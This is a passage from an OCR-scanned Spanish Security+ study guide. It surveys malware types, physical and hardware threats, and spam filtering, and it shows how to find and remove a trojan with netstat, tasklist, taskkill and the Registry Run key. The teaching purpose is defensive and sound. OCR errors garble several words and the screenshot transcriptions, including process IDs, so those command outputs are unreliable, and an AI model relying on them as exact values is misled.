9°® " que el dispositivo caera en manos de una parte que no sea de confi-

anza. Por lo tanto, debe asegurarse de utilizar funciones como el blo-
queo automatico y el cifrado de datos en el dispositivo para man-

tener la confidencialidad de sus datos.

Fallo humano

Otra amenaza importante de seguridad fisica contra los sistemas que
debe tener en cuenta es el error humano. Por ejemplo, un empleado que
intenta realizar una actualizacion de un sistema, tal vez agregando
memoria o reemplazando un disco duro, podria freir la placa base del sis-
tema a traveés de una descarga electrostatica (ESD). ESD es la acumulacion
de electricidad estatica en usted mismo que se transfiere a otro objeto,
como un componente de la computadora, cuando lo toca. Esta transferen-
cia de electricidad estatica es suficiente para matar o dafiar seriamente

los componentes de la computadora.

Para evitar este tipo de situaciones, eduque al equipo de soporte de es-
critorio sobre ESD y sobre el uso de una correa de mufieca antiestatica

para conectarse siempre a tierra antes de reparar los sistemas.

Sabotaje

Otra amenaza comun contra los sistemas es el sabotaje, que es
tipicamente, pero no siempre, el resultado de un empleado descontento.
Es importante identificar situaciones en las que los activos de la empresa
son vulnerables al sabotaje. Demasiadas veces en mis cursos de seguridad
escucho historias de estudiantes sobre incidentes en los que una base de

datos de la empresa fue manipulada por un empleado descontento.

Debe identificar los sistemas que son susceptibles de sabotaje y asegu-
rarse de tener un plan de recuperacion para esos sistemas. Un plan de
recuperacion implica procedimientos paso a paso para recuperar el sis-
tema, pero también garantiza que tenga piezas de repuesto adecuadas en

el estante de la sala de servidores.



OBJETIVO DE CERTIFICACION 5.03
Mirando el software malicioso

Ahora que comprende algunas de las amenazas fisicas populares contra
los sistemas, echemos un vistazo a algunos tipos de software malicioso
que representan una amenaza para los sistemas actuales. El software ma-
licioso es cualquier software que dafia o hace un mal uso del sistema, lo
que incluye eliminar archivos del sistema, monitorear la actividad en el

sistema e incluso algo tan simple como ralentizar el sistema.
Escalada de privilegios

La escalada de privilegios es cuando un hacker encuentra una falla en el
sistema operativo, o en una pieza de software instalada en el sistema,
que, cuando se explota, eleva los privilegios del hacker de las capacidades
normales del usuario al acceso administrativo. Una vez que el hacker ha
obtenido acceso administrativo al sistema, puede realizar los cambios
que desee en el sistema, incluida la colocacion de una puerta trasera para

el acceso futuro.

Hay tres tipos de escalada de privilegios:

Bl Escalada vertical de privilegios Cuando alguien con acceso de usuario

normal puede elevar sus privilegios a acceso administrativo

H Escalada horizontal de privilegios Cuando se mantiene el mismo nivel

de acceso, pero el recurso al que se accede es diferente

B Reduccion de privilegios Cuando alguien con acceso administrativo puede

reducir su nivel de privilegios para que pueda acceder a los datos a los

que un usuario especifico tiene acceso

Virus



Una de las mayores areas de preocupacion con la seguridad es cuando un
sistema es superado por un virus. Un virus es un software malicioso que
infecta un sistema como una computadora, tableta o teléfono inteligente.
La infeccion puede destruir datos en el sistema, evitar que el sistema ar-
ranque o simplemente usar recursos en el sistema, lo que resulta en
ralentizar el sistema. En esta seccion se describen los tipos comunes de

virus.

Virus ejecutable

Los virus mds antiguos eran virus ejecutables, donde el virus se adjunt-
aba a un archivo ejecutable pero no se activaba hasta que se ejecutaba el
archivo. Este virus se propagaba tipicamente de un sistema a otro por el
usuario compartiendo archivos a través de disquetes, unidades flash o

una unidad de red.

Virus del sector de arranque

Un virus del sector de arranque es un virus grave que ataca el cadigo del
sector de arranque y lo sobrescribe. El sector de arranque es el primer
sector del disco y contiene el codigo del cargador del sistema operativo
que inicia la secuencia de arranque. Cuando un virus del sector de ar-
ranque sobrescribe este sector, impide que el sistema arranque desde el

disco infectado.

Macro Virus

La mayoria de las aplicaciones actuales admiten macros, que son una
forma de automatizar una tarea dentro de la aplicacion de software. Con
la suite Microsoft Office, por ejemplo, podemos crear macros usando
Visual Basic para Aplicaciones (VBA), que es un poderoso lenguaje de

programacion que puede manipular la aplicacion y el sistema operativo.

Un virus de macro es un codigo escrito con un lenguaje de macros que
realiza una acciéon maliciosa, como eliminar archivos o enviar correos

electronicos a todos los usuarios de la libreta de direcciones. La macro



generalmente se crea en un archivo y luego se desencadena

automaticamente cuando alguien abre el archivo.
Virus de la bomba légica

Una bomba logica es un tipo de virus que se planta en el sistema medi-
ante la instalacion de una pieza de software que contiene la bomba
légica. La aplicacion de software que instal6 actua como se supone que
debe hacerlo hasta que se produce un determinado evento, como una
fecha especifica. Cuando ejecuta el software, siempre comprueba esa
fecha especifica y, si el software se ejecuta en esa fecha, realiza su acto
malicioso. Este es un método comun que los empleados descontentos han
utilizado para sabotear los datos de la empresa después de renunciar o
ser despedidos. Programan el software (que normalmente funciona bien)

para eliminar datos en una fecha especifica.

Tiatch

Para el examen, sepa que el virus de la homba ldgica espera a que
ocurra un evento especifico, como una fecha determinada, antes de

activarse.

Virus gusano

Un virus gusano es un virus dafiino y comun hoy en dia. El virus gusano
es un tipo de virus aterrador porque tiene la caracteristica unica de poder
replicarse sin necesidad de que un usuario lo active. Los virus de gusano

pueden replicarse de varias maneras:

H Protocolos de red Un virus gusano puede replicarse automaticamente a

través de la red mediante el uso de protocolos de red estdndar y compro-
meter un sistema a través de vulnerabilidades en las aplicaciones de red
que se ejecutan en el sistema. Un buen ejemplo es el gusano Blaster de
2003 que se replicaba a través del puerto RPC (puerto 135). ;Quién podria
olvidar el virus del gusano SQL Slammer, también de 2003, que infecto

aproximadamente 75.000 sistemas en Internet en 10 minutos? SQL



Slammer aprovecho una vulnerabilidad conocida de desbordamiento de
bufer en SQL Server y se conecto a servidores SQL Server sin revision a
través del puerto UDP 1434.

H Los virus de gusanos de correo electronico se pueden propagar

automaticamente mediante el correo electronico. El virus se envia a un
usuario en un mensaje de correo electronico, y cuando ese usuario abre
el mensaje, el codigo del virus se ejecuta y recorre la lista de contactos del
usuario y envia el correo electrénico a todos los contactos. Ejemplos de
virus de correo electronico infames son el virus ILOVEYOU en 2000 y el

virus que se envio con una linea de asunto que dice "Aqui tienes" en 2010.

B Unidades flash Una nueva ola de virus gusanos infecta los sistemas medi-

ante la replicacion mediante el uso de unidades flash (memorias USB).
Una vez que el virus del gusano estd en un sistema, espera a que alguien
conecte una unidad flash en ese sistema, y el virus del gusano se replica
en la memoria USB. El usuario lleva la memoria USB a otro sistema, y una
vez que la unidad esta conectada al puerto USB, el virus se replica desde
la memoria USB al sistema. Conficker era un virus gusano que podia

replicarse mediante el uso de memorias USB.

Virus troyano

Un virus troyano es un programa que un usuario es engafiado para insta-
lar porque parece hacer algo util, pero en realidad, es un virus que in-
fecta el sistema. El virus troyano normalmente modifica el sistema
abriendo un puerto TCP / IP en el sistema, 1o que permite al pirata

informatico conectarse al sistema y tomar el control de él.

Cabe sefialar que el virus troyano puede hacer mas que abrir un
puerto en el sistema, y debido a que la mayoria de las personas tienen
firewalls hoy en dia para bloquear el acceso al puerto que abre el troy-
ano, puede encontrar que el virus troyano pone adware en el sistema o

un keylogger.



La Tabla 5-1 enumera los virus troyanos populares y los puertos que

abren en un sistema.

Numeros de puerto populares de virus troyanos

Protocol Port Trojan

TCP 12345 NetBus
TCP 17300 Kuang

TCP 27374 SubSeven
TCP 31337 BackOrifice
TCP 48006 FraggleRock

‘ watch

Debe saber que un virus troyano generalmente abre un puerto TCP /
IP en el sistema para actuar como una puerta trasera para el pirata
informatico. También debe saber que un virus gusano es un virus

autorreplicante.

Solucion de problemas de virus troyanos

Antes de dejar el tema de los virus troyanos, quiero hablar sobre algunos
comandos comunes de Windows que se pueden usar para rastrear un
virus troyano si sospecha que ha sido infectado. El objetivo aqui es fi-

nalizar el programa que abrio el puerto para que el puerto se cierre.

El primer comando a utilizar para rastrear un virus troyano es el co-
mando netstat. Si utiliza el comando netstat -na, vera una lista de puer-
tos locales que estan en estado de escucha. Escuchar significa que el
puerto esta abierto y esperando que alguien se conecte a €él, en lugar de

alguien que realmente esta conectado en ese momento.



Para averiguar qué programa abrio el puerto, puede agregar el modifi-
cador -0 a netstat, que muestra el numero de ID de proceso (PID) del pro-
grama que abrio el puerto. En la figura 5-2, observe que el puerto 12345
(el puerto NetBus) esta en estado de escucha y que el PID responsable de

abrir el puerto 12345 es el namero 208.

v C:A\WINDOWS\system32\cmd.exe _ O] X]

C:s»netstat —-na —-o

Active Connections
Proto Local Address Foreign Address State PID
TCP 9.9.8.8:135 P.A.0.0:0 LISTENING 1008
TCP 0.9.0.8:445 0.9.0.0:9 LISTENING 4
TCP A.8.8.8:12345 h.6.8.0:08 LISTENING 288
TCP 9.0.8.8:12346 p.0.0.8:0 LISTENING 208
TGP 18.8.8.2:139 A.A.A.A:8 LISTENIHNG 4
TCP 10.6.8.2:139 10.6.0.3:1199 ESTABLISHED 4
TCP 127.8.8.1:1826 A.A.0.0:8 LISTENIHNG 232
upp 0.0.0.0:445 %2 4
UDp 0.0.0.8:588 32 7?72
upp 9.8.8.8:1825 %3 12008
UDP 0.0.8.8:4568 L 72
uDpP 18.8.8.2:123 L H 1124
uDp 10.0.8.2:137 *Im 4
uDpP 1i8.8.8.2:138 *I 4
uDp 10.6.8.2:1988 % 1252
upp 127.8.8.1:123 E 3L 1124
UDP 127.8.8.1:1827 2% 1124
UDP 127.8.8.1:1990 EH 1252

LN

Uso de netstat para mostrar el ID de proceso del programa que abrio el

puerto

Una vez que tenga el numero de ID de proceso de la aplicacion respon-
sable de abrir el puerto, puede rastrear el archivo EXE asociado con ese
ID de proceso. Si utiliza el comando tasklist, vera los procesos (archivos
EXE) que se ejecutan en la memoria y el PID asociado con cada proceso
(consulte la figura 5-3). Observe en la salida que sigue que el parche .exe
es el archivo EXE asociado con el PID y es responsable de abrir el puerto.
Tenga en cuenta también que puede utilizar la funcion de canalizacion ( |
) para buscar una entrada especifica con el comando tasklist. Por ejem-
plo, puede usar tasklist | find "208" para buscar una entrada que con-

tenga "208" en los resultados.




ex C:A\WINDDWS\system32\cmd. exe H=] E3
B
C:=x~>tasklist
Image MName PID Session Hame Sesszionlt Mem Usage
System Idle Process A Console a 28 K
System 4 Console a 248 K
sSMSs .exe 428 Console a 388 K
CSPSS.exe 684 Console a 3.672 K
winlogon.exe 788 Console ] 3.868 K
services .exe 768 Console a 3.844 K
lsass.exe 7?72 Console a 1,376 K
svuchost .exe 228 Console a 4,432 K
svuchost .exe 168688 Console ] 3.868 K
suchost .exe 1124 Console a 17,252 K
svchost.exe 12688 Console a .964 K
suchost .exe 1252 Console ] 4,196 K
spoolsv.exe 1448 Console a 4,992 K
ndm . exe 1616 Console a 2,588 K
suchost .exe 1788 Console a 3.852 K
UMwareService.exe 1792 Console 5] 2,544 K
alg.exe 232 Console a 3.232 K
explorer.exe 1148 Console a 8,128 K
wsentfy.exe 1328 Console a 1,672 K
UHwaragray.exe 1328 Console a 2,452 K
UMwarelser.exe 1496 Console a 3,504 K
MSMSYS . EXE 1516 Console a 1,884 K
ctfmon.exe 1524 Console a 3,864 K
wuauc 1t .exe 28084 Console a 4,868 K
FSHOT?.EXE 1112 Console a 8,452 K
Patch.exe 288 Console a 3.468 K
cnd.exe 1168 Console e 3.412 K
tasklist.exe 1916 Console a 4,812 K
wniprvse .exe 576 Console 2] 5.316 K
Canoa

Uso de la lista de tareas para mostrar los ejecutables que se ejecutan en

memoria

Una vez que haya utilizado el comando tasklist y conozca el proceso,
puede matar el proceso con el comando taskkill. Con el comando
taskkill, puede especificar el archivo EXE para matar o buscar el PID me-
diante el modificador /PID. El cddigo que se muestra en la figura 5-4 uti-
liza el comando taskkill para forzar la eliminacion de un proceso por su

numero PID.

@ CAWINDOWS \spstem32\cmd.exe I [=] B3 |
B

C:\>taskkill /PID 268 /F
SUCCESS: The process with PID 208 has been terminated.

[ 8




Uso de taskkill para terminar un programa que se ejecuta en memoria

Después de matar el proceso, asegurese de verificar las areas de
configuracion en el sistema que normalmente inician los programas
automaticamente. Este seria el grupo de programas Inicio en el menu
Inicio y también la parte Ejecutar del Registro en
HKLM\Software\Microsoft\Windows\CurrentVersion\Run (consulte la
figura 5-5). En nuestro ejemplo, si ejecuta regedit.exe y navega a la parte
Ejecutar del registro, vera que el parche .exe estd configurado para ejecu-

tarse automaticamente cuando se reinicia Windows. Debe eliminar esta

entrada.
File Edt View Favontes Help
(] OplimalLayout =] [ Mame | Type | Data
@ (] policies ab] (Default) REG_S2 [value not set)
(1 PreviewHandlers ab) dobe Reader Sp..  REG_SZ “C:\Program Files\&dobe\Fleader 9 0\Reader\Reade
#-(] Reinstal ab]Paich REG_S2 CAWINDOWS\Patch exe /nomsg
B Reliabilty ab]ywsare Tools REG_SZ C:\Program Files\VhMware\WMuware Tools\WMwareTre
- ab]yiware User Fro... REG_$Z C-\Fragram Files\Mware\Mware Tools\Mwarels
] Runlnce
] FunOnceEx
-1 Selup =l
(] ShaedDls
- Shell Extensions
L) [+ 1 ShellComoatibility | .!J_' 4 |

»IE

My Computer\HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows\CurrentVersion\Run

Quitar programas que estan configurados para iniciarse

automaticamente desde la parte Ejecutar del Registro
Otro software malintencionado

Ademas de los virus, hay otros tipos de software malicioso (conocido
como malware) con el que debe estar familiarizado para el mundo real y
para el examen de certificacion Security+. En esta seccion, aprendera so-
bre spyware, adware y rootkits, por nombrar algunos de los tipos co-

munes de software malintencionado que amenazan los sistemas actuales.

Spyware



El spyware es un software oculto que monitorea y recopila informacion
sobre usted y sus actividades y luego envia esa informacion a un sistema
remoto para que el pirata informatico la revise. Por ejemplo, el spyware
podria recopilar informacion sobre sus habitos de navegacion. También
se sabe que el spyware hace mas que solo monitorear la informacion;
También se sabe que realiza cambios en el sistema, como la redireccion
del navegador (que lo envia a una pagina web diferente) y ralentiza la

conexion de red.
Adware

El adware es un software que carga automaticamente anuncios en la pan-
talla, generalmente en forma de una ventana emergente. El anuncio esta

disefiado para atraerlo a comprar un producto o suscribirse a un sitio.
Spam

Spam es el término utilizado para cualquier correo electronico comercial
no solicitado que reciba. Estos mensajes de correo electronico suelen ser
enviados por correo masivo e intentan que usted compre productos o ser-
vicios. Los spammers (personas que envian los mensajes de spam) gen-
eralmente obtienen su direccidn de correo electronico de un sitio web o
grupo de noticias después de haber publicado un comentario en el grupo,
o0 los spammers compran listas de correo electronico en linea de

comparfiias que han recopilado las direcciones de correo electronico.

Los spammers utilizan programas automatizados, conocidos como ro-
bots de spam, para rastrear sitios web y recopilar cualquier direccion de
correo electronico que se haya publicado en ellos. Una vez que el spam-
mer recopila suficientes direcciones de correo electrénico, busca negocios

enviando un mensaje a todas las direcciones.

Las empresas pueden protegerse contra el spam al no publicar direc-
ciones de correo electronico en un sitio, o si es importante mostrar una
direccion de correo electronico, pueden hacerlo teniendo la direccion de

correo electronico en un archivo grafico mostrado. Los robots de spam no



pueden recuperar la direccion de correo electronico de un archivo

grafico porque no es texto en la pagina.

También puede proteger a su empresa de recibir mensajes de correo

electronico comerciales no solicitados configurando filtros de correo no

deseado en sus servidores de correo electronico (consulte la Figura 5-6) o
utilizando un dispositivo antispam como Cisco IronPort o un servicio an-
tispam en linea como Barracuda. La mayoria de los servidores de correo

electronico admiten los siguientes filtros de correo no deseado:

Message Delivery Properties K E3

General { Diefaults ] Sender Filtering I Connection Filtering I
Recipient Filtering | Details Inteligent Message Filtering ] Sender D Filtering |

Configure spam confidence level [SCL) thresholds. Selecting a lower
number for the SCL rating blocks more messages that could be unsolicitad
commercial e-mail [UCE), but it also increases the likelhood of false
positives.

-G ateway Blocking Configuration-
Set the threshold for blocking UCE on gateway servers.

Block messages with an SCL rating greater than or IW ...|

equal to:

When blocking messages: IFhe:ie-:t El

— Store Junk E-mail Configuration-
Set the threshold for mowving LICE to a user's Junk E-mail folder.

Move messages with an SCL rating greater than or
equal to: |E 'l

0K Cancel | Aoy | Heb

Observacion de las opciones de filtrado de correo no deseado en un servi-

dor de correo electronico



M Filtro de destinatarios Un filtro de destinatarios es una forma de bloquear

un mensaje a un destinatario especificado (la linea Para en el encabezado

del correo electronico).

m Filtro de remitente Un filtro de remitente puede bloquear un mensaje de

un remitente especificado (la linea De en el encabezado del correo

electronico).

M Filtro de conexion Un filtro de conexion es una lista de direcciones IP que

tienen prohibido conectarse al servidor SMTP (Protocolo simple de trans-
ferencia de correo). Normalmente agregaria las direcciones IP de los
servidores de correo que envian mensajes de spam (conocidos como

hosts de spam) a un filtro de conexion.

M Lista negra en tiempo real (RBL) No es practico pensar que puede agregar

todas las direcciones IP de todos los hosts de spam en Internet a su filtro
de conexion, por lo que en su lugar puede suscribirse a una lista negra en
tiempo real, que es una empresa que realiza un seguimiento de todos los

hosts de spam en Internet.

M Filtro de ID de remitente El filtro de ID de remitente permite que el servi-

dor SMTP busque lo que se conoce como el registro SPF (Sender Policy
Framework) en DNS de alguien que envia a los usuarios un mensaje de
correo electronico. El servidor SMTP comprueba el registro SPF del nom-
bre de dominio que envia el correo electronico v, si el servidor SMTP re-
mitente aparece en el registro SPF, el servidor de correo aceptara el

correo electrdnico.

‘ Tatch

El spam es cuando alguien envia mensajes de correo electronico no

solicitados a un gran numero de destinatarios. Puede proteger su em-

presa de los mensajes de spam implementando filtros en el servidor




de correo electronico y no publicando direcciones de correo

electronico en Internet.

Rootkit

Un rootkit es un software instalado en un sistema por un hacker que nor-
malmente estd oculto para el administrador y le da al hacker acceso privi-

legiado al sistema. Estos son los cinco tipos principales de rootkits:

B Nivel de aplicacion Un rootkit a nivel de aplicacion es un archivo eje-

cutable en modo usuario que le da al hacker acceso al sistema. Ejemplos

de rootkits a nivel de aplicacion son los virus troyanos.

B Nivel de biblioteca Un rootkit a nivel de biblioteca no es un archivo eje-

cutable, sino mas bien una biblioteca de cddigo que puede ser llamada
por una aplicacion. Los rootkits de nivel de biblioteca son archivos DLL
que se ejecutan en modo de usuario y, por lo general, reemplazaran una

DLL en el sistema para ocultarse.

Bl Nivel de kernel Un rootkit a nivel de kernel es un rootkit cargado por el

kernel del sistema operativo y normalmente se planta en un sistema
reemplazando un archivo de controlador de dispositivo en el sistema. Un
rootkit a nivel de kernel se ejecuta en modo kernel en lugar de modo
usuario, lo que significa que se ejecuta con mas privilegios que un rootkit
en modo usuario y, como resultado, tiene un mayor acceso al sistema y

podria causar mas daiio.

m Virtualizado Un rootkit virtualizado es un rootkit que se carga en lugar del

sistema operativo cuando se inicia un sistema. Este rootkit luego carga el
sistema operativo real en un entorno virtualizado. Estos rootkits son
dificiles de detectar porque el sistema operativo no tiene idea de que se
estd alojando en el entorno virtualizado y porque no se ha reemplazado

ningun codigo de aplicacion o DLL en el sistema operativo.



B Firmware Un rootkit de firmware se almacena en codigo de firmware en

un sistema o dispositivo y es dificil de detectar porque no esta presente

en el sistema operativo.

Botnet

Una botnet es una coleccion de sistemas que han sido comprometidos por
un hacker y que luego se utilizan para ayudar a realizar otros tipos de
ataques. Los sistemas que estan bajo el control del hacker en una botnet
se conocen como sistemas zombies, o0 bots, porque no tienen mente propia

y haran lo que el hacker ordene.

Match

Para el examen Security+, sepa que una botnet es un grupo de sis-
temas controlados por un hacker para realizar ataques a sistemas a

través de Internet.

La botnet se puede utilizar por varias razones, como correo electronico
no deseado o para realizar un ataque de denegacion de servicio (DoS) en
un objetivo especifico. Una vez que un hacker tiene el control de muchos
sistemas, el hacker puede alquilar los servicios de la botnet para realizar

un ataque desde todos los sistemas de la botnet.

Troyano de acceso remoto

Un troyano de acceso remoto (RAT) es un software malicioso que el
usuario suele instalar sin saberlo, como instalar un juego desde Internet o
ejecutar un programa que se le envio por correo electronico. El programa
RAT luego abre una puerta trasera para que el atacante obtenga acceso al
sistema de forma remota en un momento posterior. El malware RAT per-
mite al atacante establecer una conexion con el sistema y ejecutar coman-
dos de forma remota en ese sisterna. Si un sistema en una red tiene una
RAT en ejecucion, es posible que el hacker pueda usar eso para comprom-

eter otros sistemas, esencialmente creando una botnet.

Keylogger



Un keylogger es una pieza de software o un dispositivo de hardware que
estad disefiado para capturar todas las pulsaciones de teclas en un sistema.
Como hardware, el keylogger es un pequefio dispositivo que se conecta al
cable del teclado y luego a la computadora (consulte la Figura 5-7). Por lo
general, el hacker entrara en una instalacion y conectara el keylogger a
un sistema. Una vez que el dispositivo estd conectado entre el teclado y la
computadora, cualquier pulsacion de tecla en ese sistema se captura y al-

macena en el dispositivo. El hacker luego regresa para recuperar el

dispositivo.
Keylogger
dff _USB.
/ |
Keyboard _
FIGURA 5-7

Un keylogger es una pieza de software o un dispositivo de hardware que

registra las pulsaciones de teclas.

Un keylogger también puede ser una pieza de software instalada en el
sistema. El software se ejecuta en segundo plano y captura todas las pul-
saciones de teclas a un archivo en el disco duro o envia las pulsaciones de
teclas a un sistema remoto. El hacker puede ver todas las palabras, por
caracter, que se han escrito en el sistema. Esto permitira al hacker ver

datos confidenciales como nombres de usuario y contrasefias.

‘ Match

Para el examen, recuerde que una RAT es un software malicioso que

permite a un atacante establecer una conexion con el sistema y eje-



cutar comandos remotos. También sepa que un keylogger es un soft-

ware o hardware malicioso que registra las pulsaciones de teclas.

Puerta trasera

Cuando los hackers comprometen un sistema, generalmente instalan una
puerta trasera en el sistema para que puedan acceder al sistema en un
momento posterior. Los hackers instalan la puerta trasera porque saben
que el método que utilizaron originalmente para comprometer el sistema
puede ser bloqueado mas tarde, por lo que crean un método alternativo
para acceder al sistema. El hacker puede usar un virus troyano, abrir un
puerto en el sistema con software o crear una cuenta de usuario en el sis-
tema como puerta trasera que pueden usar mas tarde para obtener ac-

ceso al sistema.
Ransomware

Otro tipo de software malicioso que se encuentra hoy en dia es el ran-
somware. El ransomware es un malware comun hoy en dia que, cuando
se ejecuta en su sistema, cifrara el contenido de su disco duro, y el pirata
informatico es el unico con la clave de descifrado: esencialmente toman
como rehenes sus datos hasta que pague el rescate. El hacker general-
mente busca recibir el pago en bitcoin porque es mads dificil de rastrear.
Si decide no pagar, debera borrar completamente el sistema y restaurar

sus datos desde la copia de seguridad.
Programa potencialmente no deseado

El examen Security+ espera que comprenda el concepto de programas po-
tencialmente no deseados o PUP para abreviar. Un PUP es un software que
se instala en su sistema que no desea pero que se instalé porque se
incluyd con otro programa que realmente queria e instalo. Los programas
basura hacen muchas cosas molestas, como anuncios graficos, instalar
barras de herramientas, ralentizar potencialmente su computadora y
pueden recopilar informacion privada sobre usted. Para ayudar a prote-
gerse contra los programas basura, debe tener cuidado de vigilar cada

pantalla al instalar software para asegurarse de que la opcion para insta-



lar el software complementario esté desactivada y asegurese de ejecutar

software antimalware.
Virus sin archivos

Los virus sin archivos son malware que no instala ningun archivo en su
sistema, sino que se ejecuta en la memoria del sistema. El malware gen-
eralmente se asocia con otro programa, de modo que cuando ejecuta ese
programa, el malware se carga en la memoria y se ejecuta desde la

memoria.

Comando y Control

El examen Security + también lo pondra a prueba en comando y control
(C&C), que es cuando un atacante compromete un sistema (o red de sis-
temas) y luego carga malware en €l. Luego, el atacante utiliza un servidor
de comando y control para enviar comandos a los sistemas que ejecutan
el malware para que el atacante pueda realizar tareas como recuperar
datos confidenciales de los sistemas e interrumpir la funcionalidad de los

sistemas.

Keyloggers como hardware o software

Recuerde para el examen Security+, y para el mundo real, que
un keylogger puede ser un software instalado en el sistema por
un hacker o un dispositivo de hardware que el hacker conecta

al sistema entre el sistema y el teclado.

El keylogger de software generalmente captura las pulsa-
ciones de teclas a un archivo en el sistema local, o puede enviar
los datos a un archivo en un sistema remoto. El keylogger de

hardware generalmente registra las pulsaciones de teclas en el



dispositivo para que el pirata informatico pueda recopilar el dis-

positivo en un momento posterior.

Cryptomalware

Cryptomalware es una forma de software malicioso que cifra los archivos
del usuario sin el conocimiento del usuario y luego actua tipicamente
como ransomware, informando al usuario que debe pagar una tarifa
para descifrar sus archivos. El usuario suele ser engafiado para instalar el
cryptomalware en su sistema, y una vez que se instala, el software realiza
el cifrado. Una vez que los archivos estan encriptados por el software, el
usuario no puede acceder a los archivos hasta que paguen el rescate y

tengan los archivos desbloqueados.
Malware polimorfico y virus blindado

Otros dos tipos de malware con los que debe estar familiarizado para el
examen de certificacion Security+ son el malware polimorfico y los virus
blindados. El malware polimdrfico es un malware que se altera a si mismo
para evitar la deteccion del software antivirus que tiene una definicion
del malware. Debido a que el malware se ha mutado a si mismo, hace que

la definicién en el software antivirus sea inutil.

Un virus blindado es un virus que se protege de ser analizado por pro-
fesionales de la seguridad. Es comun que el personal de seguridad de-
scompile el codigo del virus para comprender mejor como funciona el
virus. Un virus blindado hace que sea dificil para alguien descompilar el

programa y ver el cddigo del virus.
Proteccion contra software malintencionado

Para el examen de certificacion Security+, debe conocer los diferentes
tipos de software malintencionado, pero también debe saber como prote-
gerse contra el software malintencionado. La siguiente es una lista de

contramedidas contra software malintencionado:



W Utilice software antivirus. Asegurese de que esta utilizando software an-

tivirus en todos los clientes y servidores de escritorio. Asegurese de que el
software antivirus admite proteccion en tiempo real que analizara los

archivos y la memoria en busca de virus a medida que acceda a los datos.

B Mantenga actualizadas las definiciones de virus. La base de datos de

definicion de virus es una lista de virus conocidos, y es fundamental man-
tener la base de datos actualizada para que su software de proteccion an-

tivirus conozca los virus mas recientes.

B Vigile de cerca los puertos de escucha. Puede usar el comando netstat en

Windows y Linux para ver una lista de puertos de escucha.

B Vigile de cerca los procesos en ejecucion. Puede utilizar el comando tasklist

en Windows o el comando ps -A en Linux para ver una lista de procesos
en ejecucion. Es importante observar de cerca qué procesos se estan eje-
cutando en segundo plano.

B Utiliza buenos habitos de surf. Eduque a los usuarios para que se manten-

gan alejados de sitios web desconocidos y para que no abran datos adjun-

tos recibidos en mensajes de correo electronico de fuentes desconocidas.

Si esta buscando algun software gratuito para ayudar a protegerse
contra software malicioso o incluso para eliminar software malicioso,

puede usar lo siguiente:

B Windows Defender Este es un software de proteccion antivirus,

proteccion contra spyware y proteccion contra malware que Microsoft in-
cluye en todos los sistemas operativos compatibles. Al igual que otro soft-
ware de proteccion antivirus, Windows Defender ofrece proteccion en

tiempo real contra malware.



B Herramienta de eliminacion de software malintencionado de Microsoft Si

tiene un sistema que ha sido infectado, puede descargar la Herramienta
de eliminacion de software malintencionado de Microsoft, que se ac-
tualiza regularmente. Es una gran herramienta para ayudar a eliminar el

software malicioso de un sistema infectado.

Otro punto que debe hacerse es que si descubre que tiene un sistema
infectado, no puede confiar en ningun software que se ejecute en ese sis-
tema infectado, incluido el software antivirus. En esta situacion, debera
arrancar desde un disco en vivo o una memoria USB que tenga su propio
sistema operativo y software de proteccion antivirus. Una vez que ar-
ranque el sistema operativo en vivo, puede iniciar el software antivirus
desde el sistema operativo en vivo para escanear el sistema y eliminar

virus.

OBJETIVO DE CERTIFICACION 5.04
Amenazas contra el hardware

No solo debe preocuparse por las amenazas del sistema, como el software
malicioso, al proteger sus sistemas, sino que también debe preocuparse
por las caracteristicas relacionadas con el hardware de un sistema que
debe protegerse. En esta seccion, aprendera acerca de las caracteristicas

de hardware populares para proteger correctamente un sistema.
Configuracion del BIOS

El chip BIOS en una computadora contiene el codigo de bajo nivel que se
utiliza para comunicarse con el hardware de un sistema. El codigo del
BIOS también contiene lo que se conoce como el programa de instalacion
CMOS, que es un programa utilizado para configurar los ajustes de hard-
ware en el sistema, como los tipos de memoria y unidades en el sistema y

la fecha y hora en la computadora.

En lo que respecta a la seguridad, el programa de configuracion CMOS

(un ejemplo del cual se muestra en la Figura 5-8) se puede utilizar para



controlar desde qué dispositivos se pueden arrancar. Es una practica re-
comendada de seguridad garantizar que los sistemas solo puedan arran-
car desde el disco duro local y no desde la tarjeta de red, la unidad USB o
una unidad de disco éptico que existe en el sistema. Es demasiado facil
para alguien usar un disco en vivo (una unidad USB o DVD que contiene
un sistema operativo de arranque) para iniciar un sistema operativo en la
memoria para obtener acceso al sistema. Para asegurarse de que esto no
suceda, configure CMOS para que no permita el arranque desde nada

mas que el disco duro, si es posible.

+Hard Drive
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FIGURA 5-8

Uso de la configuracion de CMOS para ayudar a proteger un sistema

En el programa de configuracion de CMOS, también puede configurar

una contrasefia de "usuario”, que es una contrasefia necesaria para uti-



lizar el sistema. No confunda esta contrasefia con la contrasefia de

Windows, ya que la contraseiia CMOS aparece antes de que se cargue el
sistema operativo. También asegurese de configurar una contrasefia de
"administrador"”, que es una contrasefia necesaria si alguien desea cam-

biar la configuracion de CMOS.

Sile preocupa que las personas conecten dispositivos no autorizados a
la computadora y potencialmente se lleven datos con ellos o compro-
metan el sistema a traveés del dispositivo no autorizado, debe asegurarse
de que los puertos innecesarios estén deshabilitados a través del pro-

grama de configuracion CMOS.
Dispositivos USB

Con respecto a los puertos, es importante actualizar su politica de seguri-
dad y educar a los usuarios sobre qué tipos de datos se pueden colocar en
las unidades USB. Debido a que es facil para los empleados llevar una
copia de los datos con ellos en una unidad flash, la politica de seguridad
debe ser clara con respecto a qué tipos de datos se pueden colocar en las
unidades USB. En entornos de alta seguridad, puede decidir que los puer-

tos USB deben deshabilitarse para que no se puedan usar.

‘ Tatch

Debido a que se sabe que los virus de gusano se replican desde una

memoria USB a un sistema, deberia considerar deshabilitar los puer-

tos USB en los sistemas de la oficina.

Uno de los riesgos importantes que rodean el uso de memorias USB es
que un empleado podria tener un virus en su sistema en casa y colocar la
unidad USB en su sistema, permitiendo que el virus gusano se replique en
la memoria USB. El problema de seguridad con esto desde un punto de
vista comercial es que si el empleado lleva la memoria USB a la oficina y
la conecta a un sistema, el virus podria replicarse a los sistemas de

trabajo.

Teléfonos inteligentes y tabletas



Los dispositivos moviles como teléfonos inteligentes y tabletas son dispos-
itivos criticos en las operaciones comerciales actuales. La mayoria de los
empleados reciben un teléfono o tableta como parte de su empleo, y es
importante mantener seguros los datos en los dispositivos moviles. La
mayoria de los teléfonos celulares de hoy en dia se conocen como
teléfonos inteligentes porque hacen mas que hacer llamadas telefonicas.
Almacenan informacion de contacto comercial y documentos confiden-
ciales, y tienen planes de datos que permiten conexiones a Internet con el

fin de revisar el correo electronico y navegar por Internet.

Desde el punto de vista de la seguridad, asegurese de que los emplea-
